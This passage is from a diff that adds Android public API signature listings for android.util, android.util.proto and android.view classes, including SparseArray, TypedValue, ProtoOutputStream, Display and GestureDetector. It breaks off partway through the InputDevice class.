+    method public static android.util.SizeF parseSizeF(String) throws java.lang.NumberFormatException;
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.util.SizeF> CREATOR;
+  }
+
+  public class SparseArray<E> implements java.lang.Cloneable {
+    ctor public SparseArray();
+    ctor public SparseArray(int);
+    method public void append(int, E);
+    method public void clear();
+    method public android.util.SparseArray<E> clone();
+    method public boolean contains(int);
+    method public boolean contentEquals(@Nullable android.util.SparseArray<?>);
+    method public int contentHashCode();
+    method public void delete(int);
+    method public E get(int);
+    method public E get(int, E);
+    method public int indexOfKey(int);
+    method public int indexOfValue(E);
+    method public int keyAt(int);
+    method public void put(int, E);
+    method public void remove(int);
+    method public void removeAt(int);
+    method public void removeAtRange(int, int);
+    method public void set(int, E);
+    method public void setValueAt(int, E);
+    method public int size();
+    method public E valueAt(int);
+  }
+
+  public class SparseBooleanArray implements java.lang.Cloneable {
+    ctor public SparseBooleanArray();
+    ctor public SparseBooleanArray(int);
+    method public void append(int, boolean);
+    method public void clear();
+    method public android.util.SparseBooleanArray clone();
+    method public void delete(int);
+    method public boolean get(int);
+    method public boolean get(int, boolean);
+    method public int indexOfKey(int);
+    method public int indexOfValue(boolean);
+    method public int keyAt(int);
+    method public void put(int, boolean);
+    method public void removeAt(int);
+    method public void setValueAt(int, boolean);
+    method public int size();
+    method public boolean valueAt(int);
+  }
+
+  public class SparseIntArray implements java.lang.Cloneable {
+    ctor public SparseIntArray();
+    ctor public SparseIntArray(int);
+    method public void append(int, int);
+    method public void clear();
+    method public android.util.SparseIntArray clone();
+    method public void delete(int);
+    method public int get(int);
+    method public int get(int, int);
+    method public int indexOfKey(int);
+    method public int indexOfValue(int);
+    method public int keyAt(int);
+    method public void put(int, int);
+    method public void removeAt(int);
+    method public void setValueAt(int, int);
+    method public int size();
+    method public int valueAt(int);
+  }
+
+  public class SparseLongArray implements java.lang.Cloneable {
+    ctor public SparseLongArray();
+    ctor public SparseLongArray(int);
+    method public void append(int, long);
+    method public void clear();
+    method public android.util.SparseLongArray clone();
+    method public void delete(int);
+    method public long get(int);
+    method public long get(int, long);
+    method public int indexOfKey(int);
+    method public int indexOfValue(long);
+    method public int keyAt(int);
+    method public void put(int, long);
+    method public void removeAt(int);
+    method public int size();
+    method public long valueAt(int);
+  }
+
+  public class StateSet {
+    method public static String dump(int[]);
+    method public static boolean isWildCard(int[]);
+    method public static boolean stateSetMatches(int[], int[]);
+    method public static boolean stateSetMatches(int[], int);
+    method public static int[] trimStateSet(int[], int);
+    field public static final int[] NOTHING;
+    field public static final int[] WILD_CARD;
+  }
+
+  public class StringBuilderPrinter implements android.util.Printer {
+    ctor public StringBuilderPrinter(StringBuilder);
+    method public void println(String);
+  }
+
+  public class TimeFormatException extends java.lang.RuntimeException {
+  }
+
+  public class TimeUtils {
+    method public static java.util.TimeZone getTimeZone(int, boolean, long, String);
+    method public static String getTimeZoneDatabaseVersion();
+    method @Nullable public static java.util.List<java.lang.String> getTimeZoneIdsForCountryCode(@NonNull String);
+    method public static boolean isTimeBetween(@NonNull java.time.LocalTime, @NonNull java.time.LocalTime, @NonNull java.time.LocalTime);
+  }
+
+  @Deprecated public class TimingLogger {
+    ctor @Deprecated public TimingLogger(String, String);
+    method @Deprecated public void addSplit(String);
+    method @Deprecated public void dumpToLog();
+    method @Deprecated public void reset(String, String);
+    method @Deprecated public void reset();
+  }
+
+  public class TypedValue {
+    ctor public TypedValue();
+    method public static float applyDimension(int, float, android.util.DisplayMetrics);
+    method public final CharSequence coerceToString();
+    method public static final String coerceToString(int, int);
+    method public static float complexToDimension(int, android.util.DisplayMetrics);
+    method public static int complexToDimensionPixelOffset(int, android.util.DisplayMetrics);
+    method public static int complexToDimensionPixelSize(int, android.util.DisplayMetrics);
+    method public static float complexToFloat(int);
+    method public static float complexToFraction(int, float, float);
+    method public int getComplexUnit();
+    method public float getDimension(android.util.DisplayMetrics);
+    method public final float getFloat();
+    method public float getFraction(float, float);
+    method public boolean isColorType();
+    method public void setTo(android.util.TypedValue);
+    field public static final int COMPLEX_MANTISSA_MASK = 16777215; // 0xffffff
+    field public static final int COMPLEX_MANTISSA_SHIFT = 8; // 0x8
+    field public static final int COMPLEX_RADIX_0p23 = 3; // 0x3
+    field public static final int COMPLEX_RADIX_16p7 = 1; // 0x1
+    field public static final int COMPLEX_RADIX_23p0 = 0; // 0x0
+    field public static final int COMPLEX_RADIX_8p15 = 2; // 0x2
+    field public static final int COMPLEX_RADIX_MASK = 3; // 0x3
+    field public static final int COMPLEX_RADIX_SHIFT = 4; // 0x4
+    field public static final int COMPLEX_UNIT_DIP = 1; // 0x1
+    field public static final int COMPLEX_UNIT_FRACTION = 0; // 0x0
+    field public static final int COMPLEX_UNIT_FRACTION_PARENT = 1; // 0x1
+    field public static final int COMPLEX_UNIT_IN = 4; // 0x4
+    field public static final int COMPLEX_UNIT_MASK = 15; // 0xf
+    field public static final int COMPLEX_UNIT_MM = 5; // 0x5
+    field public static final int COMPLEX_UNIT_PT = 3; // 0x3
+    field public static final int COMPLEX_UNIT_PX = 0; // 0x0
+    field public static final int COMPLEX_UNIT_SHIFT = 0; // 0x0
+    field public static final int COMPLEX_UNIT_SP = 2; // 0x2
+    field public static final int DATA_NULL_EMPTY = 1; // 0x1
+    field public static final int DATA_NULL_UNDEFINED = 0; // 0x0
+    field public static final int DENSITY_DEFAULT = 0; // 0x0
+    field public static final int DENSITY_NONE = 65535; // 0xffff
+    field public static final int TYPE_ATTRIBUTE = 2; // 0x2
+    field public static final int TYPE_DIMENSION = 5; // 0x5
+    field public static final int TYPE_FIRST_COLOR_INT = 28; // 0x1c
+    field public static final int TYPE_FIRST_INT = 16; // 0x10
+    field public static final int TYPE_FLOAT = 4; // 0x4
+    field public static final int TYPE_FRACTION = 6; // 0x6
+    field public static final int TYPE_INT_BOOLEAN = 18; // 0x12
+    field public static final int TYPE_INT_COLOR_ARGB4 = 30; // 0x1e
+    field public static final int TYPE_INT_COLOR_ARGB8 = 28; // 0x1c
+    field public static final int TYPE_INT_COLOR_RGB4 = 31; // 0x1f
+    field public static final int TYPE_INT_COLOR_RGB8 = 29; // 0x1d
+    field public static final int TYPE_INT_DEC = 16; // 0x10
+    field public static final int TYPE_INT_HEX = 17; // 0x11
+    field public static final int TYPE_LAST_COLOR_INT = 31; // 0x1f
+    field public static final int TYPE_LAST_INT = 31; // 0x1f
+    field public static final int TYPE_NULL = 0; // 0x0
+    field public static final int TYPE_REFERENCE = 1; // 0x1
+    field public static final int TYPE_STRING = 3; // 0x3
+    field public int assetCookie;
+    field public int changingConfigurations;
+    field public int data;
+    field public int density;
+    field @AnyRes public int resourceId;
+    field public int sourceResourceId;
+    field public CharSequence string;
+    field public int type;
+  }
+
+  public class Xml {
+    method public static android.util.AttributeSet asAttributeSet(org.xmlpull.v1.XmlPullParser);
+    method public static android.util.Xml.Encoding findEncodingByName(String) throws java.io.UnsupportedEncodingException;
+    method public static org.xmlpull.v1.XmlPullParser newPullParser();
+    method public static org.xmlpull.v1.XmlSerializer newSerializer();
+    method public static void parse(String, org.xml.sax.ContentHandler) throws org.xml.sax.SAXException;
+    method public static void parse(java.io.Reader, org.xml.sax.ContentHandler) throws java.io.IOException, org.xml.sax.SAXException;
+    method public static void parse(java.io.InputStream, android.util.Xml.Encoding, org.xml.sax.ContentHandler) throws java.io.IOException, org.xml.sax.SAXException;
+    field public static String FEATURE_RELAXED;
+  }
+
+  public enum Xml.Encoding {
+    enum_constant public static final android.util.Xml.Encoding ISO_8859_1;
+    enum_constant public static final android.util.Xml.Encoding US_ASCII;
+    enum_constant public static final android.util.Xml.Encoding UTF_16;
+    enum_constant public static final android.util.Xml.Encoding UTF_8;
+  }
+
+}
+
+package android.util.proto {
+
+  public final class ProtoOutputStream {
+    ctor public ProtoOutputStream();
+    ctor public ProtoOutputStream(int);
+    ctor public ProtoOutputStream(@NonNull java.io.OutputStream);
+    method public static int checkFieldId(long, long);
+    method public void dump(@NonNull String);
+    method public void end(long);
+    method public void flush();
+    method @NonNull public byte[] getBytes();
+    method @Nullable public static String getFieldCountString(long);
+    method @NonNull public static String getFieldIdString(long);
+    method @Nullable public static String getFieldTypeString(long);
+    method public int getRawSize();
+    method @Nullable public static String getWireTypeString(int);
+    method public static long makeFieldId(int, long);
+    method public static long makeToken(int, boolean, int, int, int);
+    method public long start(long);
+    method @NonNull public static String token2String(long);
+    method public void write(long, double);
+    method public void write(long, float);
+    method public void write(long, int);
+    method public void write(long, long);
+    method public void write(long, boolean);
+    method public void write(long, @Nullable String);
+    method public void write(long, @Nullable byte[]);
+    method public void writeTag(int, int);
+    field public static final long FIELD_COUNT_MASK = 16492674416640L; // 0xf0000000000L
+    field public static final long FIELD_COUNT_PACKED = 5497558138880L; // 0x50000000000L
+    field public static final long FIELD_COUNT_REPEATED = 2199023255552L; // 0x20000000000L
+    field public static final int FIELD_COUNT_SHIFT = 40; // 0x28
+    field public static final long FIELD_COUNT_SINGLE = 1099511627776L; // 0x10000000000L
+    field public static final long FIELD_COUNT_UNKNOWN = 0L; // 0x0L
+    field public static final int FIELD_ID_SHIFT = 3; // 0x3
+    field public static final long FIELD_TYPE_BOOL = 34359738368L; // 0x800000000L
+    field public static final long FIELD_TYPE_BYTES = 51539607552L; // 0xc00000000L
+    field public static final long FIELD_TYPE_DOUBLE = 4294967296L; // 0x100000000L
+    field public static final long FIELD_TYPE_ENUM = 60129542144L; // 0xe00000000L
+    field public static final long FIELD_TYPE_FIXED32 = 30064771072L; // 0x700000000L
+    field public static final long FIELD_TYPE_FIXED64 = 25769803776L; // 0x600000000L
+    field public static final long FIELD_TYPE_FLOAT = 8589934592L; // 0x200000000L
+    field public static final long FIELD_TYPE_INT32 = 21474836480L; // 0x500000000L
+    field public static final long FIELD_TYPE_INT64 = 12884901888L; // 0x300000000L
+    field public static final long FIELD_TYPE_MASK = 1095216660480L; // 0xff00000000L
+    field public static final long FIELD_TYPE_MESSAGE = 47244640256L; // 0xb00000000L
+    field public static final long FIELD_TYPE_SFIXED32 = 64424509440L; // 0xf00000000L
+    field public static final long FIELD_TYPE_SFIXED64 = 68719476736L; // 0x1000000000L
+    field public static final int FIELD_TYPE_SHIFT = 32; // 0x20
+    field public static final long FIELD_TYPE_SINT32 = 73014444032L; // 0x1100000000L
+    field public static final long FIELD_TYPE_SINT64 = 77309411328L; // 0x1200000000L
+    field public static final long FIELD_TYPE_STRING = 38654705664L; // 0x900000000L
+    field public static final long FIELD_TYPE_UINT32 = 55834574848L; // 0xd00000000L
+    field public static final long FIELD_TYPE_UINT64 = 17179869184L; // 0x400000000L
+    field public static final int WIRE_TYPE_END_GROUP = 4; // 0x4
+    field public static final int WIRE_TYPE_FIXED32 = 5; // 0x5
+    field public static final int WIRE_TYPE_FIXED64 = 1; // 0x1
+    field public static final int WIRE_TYPE_LENGTH_DELIMITED = 2; // 0x2
+    field public static final int WIRE_TYPE_MASK = 7; // 0x7
+    field public static final int WIRE_TYPE_START_GROUP = 3; // 0x3
+    field public static final int WIRE_TYPE_VARINT = 0; // 0x0
+  }
+
+}
+
+package android.view {
+
+  public abstract class AbsSavedState implements android.os.Parcelable {
+    ctor protected AbsSavedState(android.os.Parcelable);
+    ctor protected AbsSavedState(android.os.Parcel);
+    ctor protected AbsSavedState(android.os.Parcel, ClassLoader);
+    method public int describeContents();
+    method public final android.os.Parcelable getSuperState();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.AbsSavedState> CREATOR;
+    field public static final android.view.AbsSavedState EMPTY_STATE;
+  }
+
+  public abstract class ActionMode {
+    ctor public ActionMode();
+    method public abstract void finish();
+    method public abstract android.view.View getCustomView();
+    method public abstract android.view.Menu getMenu();
+    method public abstract android.view.MenuInflater getMenuInflater();
+    method public abstract CharSequence getSubtitle();
+    method public Object getTag();
+    method public abstract CharSequence getTitle();
+    method public boolean getTitleOptionalHint();
+    method public int getType();
+    method public void hide(long);
+    method public abstract void invalidate();
+    method public void invalidateContentRect();
+    method public boolean isTitleOptional();
+    method public void onWindowFocusChanged(boolean);
+    method public abstract void setCustomView(android.view.View);
+    method public abstract void setSubtitle(CharSequence);
+    method public abstract void setSubtitle(@StringRes int);
+    method public void setTag(Object);
+    method public abstract void setTitle(CharSequence);
+    method public abstract void setTitle(@StringRes int);
+    method public void setTitleOptionalHint(boolean);
+    method public void setType(int);
+    field public static final int DEFAULT_HIDE_DURATION = -1; // 0xffffffff
+    field public static final int TYPE_FLOATING = 1; // 0x1
+    field public static final int TYPE_PRIMARY = 0; // 0x0
+  }
+
+  public static interface ActionMode.Callback {
+    method public boolean onActionItemClicked(android.view.ActionMode, android.view.MenuItem);
+    method public boolean onCreateActionMode(android.view.ActionMode, android.view.Menu);
+    method public void onDestroyActionMode(android.view.ActionMode);
+    method public boolean onPrepareActionMode(android.view.ActionMode, android.view.Menu);
+  }
+
+  public abstract static class ActionMode.Callback2 implements android.view.ActionMode.Callback {
+    ctor public ActionMode.Callback2();
+    method public void onGetContentRect(android.view.ActionMode, android.view.View, android.graphics.Rect);
+  }
+
+  public abstract class ActionProvider {
+    ctor public ActionProvider(android.content.Context);
+    method public boolean hasSubMenu();
+    method public boolean isVisible();
+    method @Deprecated public abstract android.view.View onCreateActionView();
+    method public android.view.View onCreateActionView(android.view.MenuItem);
+    method public boolean onPerformDefaultAction();
+    method public void onPrepareSubMenu(android.view.SubMenu);
+    method public boolean overridesItemVisibility();
+    method public void refreshVisibility();
+    method public void setVisibilityListener(android.view.ActionProvider.VisibilityListener);
+  }
+
+  public static interface ActionProvider.VisibilityListener {
+    method public void onActionProviderVisibilityChanged(boolean);
+  }
+
+  @UiThread public interface AttachedSurfaceControl {
+    method public boolean applyTransactionOnDraw(@NonNull android.view.SurfaceControl.Transaction);
+    method @Nullable public android.view.SurfaceControl.Transaction buildReparentTransaction(@NonNull android.view.SurfaceControl);
+  }
+
+  public final class Choreographer {
+    method public static android.view.Choreographer getInstance();
+    method public void postFrameCallback(android.view.Choreographer.FrameCallback);
+    method public void postFrameCallbackDelayed(android.view.Choreographer.FrameCallback, long);
+    method public void removeFrameCallback(android.view.Choreographer.FrameCallback);
+  }
+
+  public static interface Choreographer.FrameCallback {
+    method public void doFrame(long);
+  }
+
+  public interface CollapsibleActionView {
+    method public void onActionViewCollapsed();
+    method public void onActionViewExpanded();
+  }
+
+  public final class ContentInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.content.ClipData getClip();
+    method @Nullable public android.os.Bundle getExtras();
+    method public int getFlags();
+    method @Nullable public android.net.Uri getLinkUri();
+    method public int getSource();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.ContentInfo> CREATOR;
+    field public static final int FLAG_CONVERT_TO_PLAIN_TEXT = 1; // 0x1
+    field public static final int SOURCE_APP = 0; // 0x0
+    field public static final int SOURCE_AUTOFILL = 4; // 0x4
+    field public static final int SOURCE_CLIPBOARD = 1; // 0x1
+    field public static final int SOURCE_DRAG_AND_DROP = 3; // 0x3
+    field public static final int SOURCE_INPUT_METHOD = 2; // 0x2
+    field public static final int SOURCE_PROCESS_TEXT = 5; // 0x5
+  }
+
+  public static final class ContentInfo.Builder {
+    ctor public ContentInfo.Builder(@NonNull android.view.ContentInfo);
+    ctor public ContentInfo.Builder(@NonNull android.content.ClipData, int);
+    method @NonNull public android.view.ContentInfo build();
+    method @NonNull public android.view.ContentInfo.Builder setClip(@NonNull android.content.ClipData);
+    method @NonNull public android.view.ContentInfo.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.ContentInfo.Builder setFlags(int);
+    method @NonNull public android.view.ContentInfo.Builder setLinkUri(@Nullable android.net.Uri);
+    method @NonNull public android.view.ContentInfo.Builder setSource(int);
+  }
+
+  public interface ContextMenu extends android.view.Menu {
+    method public void clearHeader();
+    method public android.view.ContextMenu setHeaderIcon(@DrawableRes int);
+    method public android.view.ContextMenu setHeaderIcon(android.graphics.drawable.Drawable);
+    method public android.view.ContextMenu setHeaderTitle(@StringRes int);
+    method public android.view.ContextMenu setHeaderTitle(CharSequence);
+    method public android.view.ContextMenu setHeaderView(android.view.View);
+  }
+
+  public static interface ContextMenu.ContextMenuInfo {
+  }
+
+  public class ContextThemeWrapper extends android.content.ContextWrapper {
+    ctor public ContextThemeWrapper();
+    ctor public ContextThemeWrapper(android.content.Context, @StyleRes int);
+    ctor public ContextThemeWrapper(android.content.Context, android.content.res.Resources.Theme);
+    method public void applyOverrideConfiguration(android.content.res.Configuration);
+    method protected void onApplyThemeResource(android.content.res.Resources.Theme, int, boolean);
+    method public void setTheme(@Nullable android.content.res.Resources.Theme);
+  }
+
+  public final class Display {
+    method public long getAppVsyncOffsetNanos();
+    method public void getCurrentSizeRange(android.graphics.Point, android.graphics.Point);
+    method @Nullable public android.view.DisplayCutout getCutout();
+    method @Nullable public android.hardware.display.DeviceProductInfo getDeviceProductInfo();
+    method public int getDisplayId();
+    method public int getFlags();
+    method public android.view.Display.HdrCapabilities getHdrCapabilities();
+    method @Deprecated public int getHeight();
+    method @Deprecated public void getMetrics(android.util.DisplayMetrics);
+    method public android.view.Display.Mode getMode();
+    method public String getName();
+    method @Deprecated public int getOrientation();
+    method @Deprecated public int getPixelFormat();
+    method @Nullable public android.graphics.ColorSpace getPreferredWideGamutColorSpace();
+    method public long getPresentationDeadlineNanos();
+    method @Deprecated public void getRealMetrics(android.util.DisplayMetrics);
+    method @Deprecated public void getRealSize(android.graphics.Point);
+    method @Deprecated public void getRectSize(android.graphics.Rect);
+    method public float getRefreshRate();
+    method public int getRotation();
+    method @Nullable public android.view.RoundedCorner getRoundedCorner(int);
+    method @Deprecated public void getSize(android.graphics.Point);
+    method public int getState();
+    method public android.view.Display.Mode[] getSupportedModes();
+    method @Deprecated public float[] getSupportedRefreshRates();
+    method @Deprecated public int getWidth();
+    method public boolean isHdr();
+    method public boolean isMinimalPostProcessingSupported();
+    method public boolean isValid();
+    method public boolean isWideColorGamut();
+    field public static final int DEFAULT_DISPLAY = 0; // 0x0
+    field public static final int FLAG_PRESENTATION = 8; // 0x8
+    field public static final int FLAG_PRIVATE = 4; // 0x4
+    field public static final int FLAG_ROUND = 16; // 0x10
+    field public static final int FLAG_SECURE = 2; // 0x2
+    field public static final int FLAG_SUPPORTS_PROTECTED_BUFFERS = 1; // 0x1
+    field public static final int INVALID_DISPLAY = -1; // 0xffffffff
+    field public static final int STATE_DOZE = 3; // 0x3
+    field public static final int STATE_DOZE_SUSPEND = 4; // 0x4
+    field public static final int STATE_OFF = 1; // 0x1
+    field public static final int STATE_ON = 2; // 0x2
+    field public static final int STATE_ON_SUSPEND = 6; // 0x6
+    field public static final int STATE_UNKNOWN = 0; // 0x0
+    field public static final int STATE_VR = 5; // 0x5
+  }
+
+  public static final class Display.HdrCapabilities implements android.os.Parcelable {
+    method public int describeContents();
+    method public float getDesiredMaxAverageLuminance();
+    method public float getDesiredMaxLuminance();
+    method public float getDesiredMinLuminance();
+    method public int[] getSupportedHdrTypes();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.Display.HdrCapabilities> CREATOR;
+    field public static final int HDR_TYPE_DOLBY_VISION = 1; // 0x1
+    field public static final int HDR_TYPE_HDR10 = 2; // 0x2
+    field public static final int HDR_TYPE_HDR10_PLUS = 4; // 0x4
+    field public static final int HDR_TYPE_HLG = 3; // 0x3
+    field public static final float INVALID_LUMINANCE = -1.0f;
+  }
+
+  public static final class Display.Mode implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public float[] getAlternativeRefreshRates();
+    method public int getModeId();
+    method public int getPhysicalHeight();
+    method public int getPhysicalWidth();
+    method public float getRefreshRate();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.Display.Mode> CREATOR;
+  }
+
+  public final class DisplayCutout {
+    ctor public DisplayCutout(@NonNull android.graphics.Insets, @Nullable android.graphics.Rect, @Nullable android.graphics.Rect, @Nullable android.graphics.Rect, @Nullable android.graphics.Rect);
+    ctor public DisplayCutout(@NonNull android.graphics.Insets, @Nullable android.graphics.Rect, @Nullable android.graphics.Rect, @Nullable android.graphics.Rect, @Nullable android.graphics.Rect, @NonNull android.graphics.Insets);
+    ctor @Deprecated public DisplayCutout(@Nullable android.graphics.Rect, @Nullable java.util.List<android.graphics.Rect>);
+    method @NonNull public android.graphics.Rect getBoundingRectBottom();
+    method @NonNull public android.graphics.Rect getBoundingRectLeft();
+    method @NonNull public android.graphics.Rect getBoundingRectRight();
+    method @NonNull public android.graphics.Rect getBoundingRectTop();
+    method @NonNull public java.util.List<android.graphics.Rect> getBoundingRects();
+    method @Nullable public android.graphics.Path getCutoutPath();
+    method public int getSafeInsetBottom();
+    method public int getSafeInsetLeft();
+    method public int getSafeInsetRight();
+    method public int getSafeInsetTop();
+    method @NonNull public android.graphics.Insets getWaterfallInsets();
+  }
+
+  public final class DragAndDropPermissions implements android.os.Parcelable {
+    method public int describeContents();
+    method public void release();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.DragAndDropPermissions> CREATOR;
+  }
+
+  public class DragEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAction();
+    method public android.content.ClipData getClipData();
+    method public android.content.ClipDescription getClipDescription();
+    method public Object getLocalState();
+    method public boolean getResult();
+    method public float getX();
+    method public float getY();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ACTION_DRAG_ENDED = 4; // 0x4
+    field public static final int ACTION_DRAG_ENTERED = 5; // 0x5
+    field public static final int ACTION_DRAG_EXITED = 6; // 0x6
+    field public static final int ACTION_DRAG_LOCATION = 2; // 0x2
+    field public static final int ACTION_DRAG_STARTED = 1; // 0x1
+    field public static final int ACTION_DROP = 3; // 0x3
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.DragEvent> CREATOR;
+  }
+
+  public class FocusFinder {
+    method public android.view.View findNearestTouchable(android.view.ViewGroup, int, int, int, int[]);
+    method public final android.view.View findNextFocus(android.view.ViewGroup, android.view.View, int);
+    method public android.view.View findNextFocusFromRect(android.view.ViewGroup, android.graphics.Rect, int);
+    method public android.view.View findNextKeyboardNavigationCluster(@NonNull android.view.View, @Nullable android.view.View, int);
+    method public static android.view.FocusFinder getInstance();
+  }
+
+  public final class FrameMetrics {
+    ctor public FrameMetrics(android.view.FrameMetrics);
+    method public long getMetric(int);
+    field public static final int ANIMATION_DURATION = 2; // 0x2
+    field public static final int COMMAND_ISSUE_DURATION = 6; // 0x6
+    field public static final int DEADLINE = 13; // 0xd
+    field public static final int DRAW_DURATION = 4; // 0x4
+    field public static final int FIRST_DRAW_FRAME = 9; // 0x9
+    field public static final int GPU_DURATION = 12; // 0xc
+    field public static final int INPUT_HANDLING_DURATION = 1; // 0x1
+    field public static final int INTENDED_VSYNC_TIMESTAMP = 10; // 0xa
+    field public static final int LAYOUT_MEASURE_DURATION = 3; // 0x3
+    field public static final int SWAP_BUFFERS_DURATION = 7; // 0x7
+    field public static final int SYNC_DURATION = 5; // 0x5
+    field public static final int TOTAL_DURATION = 8; // 0x8
+    field public static final int UNKNOWN_DELAY_DURATION = 0; // 0x0
+    field public static final int VSYNC_TIMESTAMP = 11; // 0xb
+  }
+
+  public abstract class FrameStats {
+    ctor public FrameStats();
+    method public final long getEndTimeNano();
+    method public final int getFrameCount();
+    method public final long getFramePresentedTimeNano(int);
+    method public final long getRefreshPeriodNano();
+    method public final long getStartTimeNano();
+    field public static final long UNDEFINED_TIME_NANO = -1L; // 0xffffffffffffffffL
+  }
+
+  public class GestureDetector {
+    ctor @Deprecated public GestureDetector(android.view.GestureDetector.OnGestureListener, android.os.Handler);
+    ctor @Deprecated public GestureDetector(android.view.GestureDetector.OnGestureListener);
+    ctor public GestureDetector(@UiContext android.content.Context, android.view.GestureDetector.OnGestureListener);
+    ctor public GestureDetector(@UiContext android.content.Context, android.view.GestureDetector.OnGestureListener, android.os.Handler);
+    ctor public GestureDetector(@UiContext android.content.Context, android.view.GestureDetector.OnGestureListener, android.os.Handler, boolean);
+    method public boolean isLongpressEnabled();
+    method public boolean onGenericMotionEvent(android.view.MotionEvent);
+    method public boolean onTouchEvent(android.view.MotionEvent);
+    method public void setContextClickListener(android.view.GestureDetector.OnContextClickListener);
+    method public void setIsLongpressEnabled(boolean);
+    method public void setOnDoubleTapListener(android.view.GestureDetector.OnDoubleTapListener);
+  }
+
+  public static interface GestureDetector.OnContextClickListener {
+    method public boolean onContextClick(android.view.MotionEvent);
+  }
+
+  public static interface GestureDetector.OnDoubleTapListener {
+    method public boolean onDoubleTap(android.view.MotionEvent);
+    method public boolean onDoubleTapEvent(android.view.MotionEvent);
+    method public boolean onSingleTapConfirmed(android.view.MotionEvent);
+  }
+
+  public static interface GestureDetector.OnGestureListener {
+    method public boolean onDown(android.view.MotionEvent);
+    method public boolean onFling(android.view.MotionEvent, android.view.MotionEvent, float, float);
+    method public void onLongPress(android.view.MotionEvent);
+    method public boolean onScroll(android.view.MotionEvent, android.view.MotionEvent, float, float);
+    method public void onShowPress(android.view.MotionEvent);
+    method public boolean onSingleTapUp(android.view.MotionEvent);
+  }
+
+  public static class GestureDetector.SimpleOnGestureListener implements android.view.GestureDetector.OnContextClickListener android.view.GestureDetector.OnDoubleTapListener android.view.GestureDetector.OnGestureListener {
+    ctor public GestureDetector.SimpleOnGestureListener();
+    method public boolean onContextClick(android.view.MotionEvent);
+    method public boolean onDoubleTap(android.view.MotionEvent);
+    method public boolean onDoubleTapEvent(android.view.MotionEvent);
+    method public boolean onDown(android.view.MotionEvent);
+    method public boolean onFling(android.view.MotionEvent, android.view.MotionEvent, float, float);
+    method public void onLongPress(android.view.MotionEvent);
+    method public boolean onScroll(android.view.MotionEvent, android.view.MotionEvent, float, float);
+    method public void onShowPress(android.view.MotionEvent);
+    method public boolean onSingleTapConfirmed(android.view.MotionEvent);
+    method public boolean onSingleTapUp(android.view.MotionEvent);
+  }
+
+  public class Gravity {
+    ctor public Gravity();
+    method public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect);
+    method public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
+    method public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect);
+    method public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
+    method public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect);
+    method public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
+    method public static int getAbsoluteGravity(int, int);
+    method public static boolean isHorizontal(int);
+    method public static boolean isVertical(int);
+    field public static final int AXIS_CLIP = 8; // 0x8
+    field public static final int AXIS_PULL_AFTER = 4; // 0x4
+    field public static final int AXIS_PULL_BEFORE = 2; // 0x2
+    field public static final int AXIS_SPECIFIED = 1; // 0x1
+    field public static final int AXIS_X_SHIFT = 0; // 0x0
+    field public static final int AXIS_Y_SHIFT = 4; // 0x4
+    field public static final int BOTTOM = 80; // 0x50
+    field public static final int CENTER = 17; // 0x11
+    field public static final int CENTER_HORIZONTAL = 1; // 0x1
+    field public static final int CENTER_VERTICAL = 16; // 0x10
+    field public static final int CLIP_HORIZONTAL = 8; // 0x8
+    field public static final int CLIP_VERTICAL = 128; // 0x80
+    field public static final int DISPLAY_CLIP_HORIZONTAL = 16777216; // 0x1000000
+    field public static final int DISPLAY_CLIP_VERTICAL = 268435456; // 0x10000000
+    field public static final int END = 8388613; // 0x800005
+    field public static final int FILL = 119; // 0x77
+    field public static final int FILL_HORIZONTAL = 7; // 0x7
+    field public static final int FILL_VERTICAL = 112; // 0x70
+    field public static final int HORIZONTAL_GRAVITY_MASK = 7; // 0x7
+    field public static final int LEFT = 3; // 0x3
+    field public static final int NO_GRAVITY = 0; // 0x0
+    field public static final int RELATIVE_HORIZONTAL_GRAVITY_MASK = 8388615; // 0x800007
+    field public static final int RELATIVE_LAYOUT_DIRECTION = 8388608; // 0x800000
+    field public static final int RIGHT = 5; // 0x5
+    field public static final int START = 8388611; // 0x800003
+    field public static final int TOP = 48; // 0x30
+    field public static final int VERTICAL_GRAVITY_MASK = 112; // 0x70
+  }
+
+  public class HapticFeedbackConstants {
+    field public static final int CLOCK_TICK = 4; // 0x4
+    field public static final int CONFIRM = 16; // 0x10
+    field public static final int CONTEXT_CLICK = 6; // 0x6
+    field public static final int FLAG_IGNORE_GLOBAL_SETTING = 2; // 0x2
+    field public static final int FLAG_IGNORE_VIEW_SETTING = 1; // 0x1
+    field public static final int GESTURE_END = 13; // 0xd
+    field public static final int GESTURE_START = 12; // 0xc
+    field public static final int KEYBOARD_PRESS = 3; // 0x3
+    field public static final int KEYBOARD_RELEASE = 7; // 0x7
+    field public static final int KEYBOARD_TAP = 3; // 0x3
+    field public static final int LONG_PRESS = 0; // 0x0
+    field public static final int REJECT = 17; // 0x11
+    field public static final int TEXT_HANDLE_MOVE = 9; // 0x9
+    field public static final int VIRTUAL_KEY = 1; // 0x1
+    field public static final int VIRTUAL_KEY_RELEASE = 8; // 0x8
+  }
+
+  public class InflateException extends java.lang.RuntimeException {
+    ctor public InflateException();
+    ctor public InflateException(String, Throwable);
+    ctor public InflateException(String);
+    ctor public InflateException(Throwable);
+  }
+
+  public final class InputDevice implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.hardware.BatteryState getBatteryState();
+    method public int getControllerNumber();
+    method public String getDescriptor();
+    method public static android.view.InputDevice getDevice(int);
+    method public static int[] getDeviceIds();
+    method public int getId();
+    method public android.view.KeyCharacterMap getKeyCharacterMap();
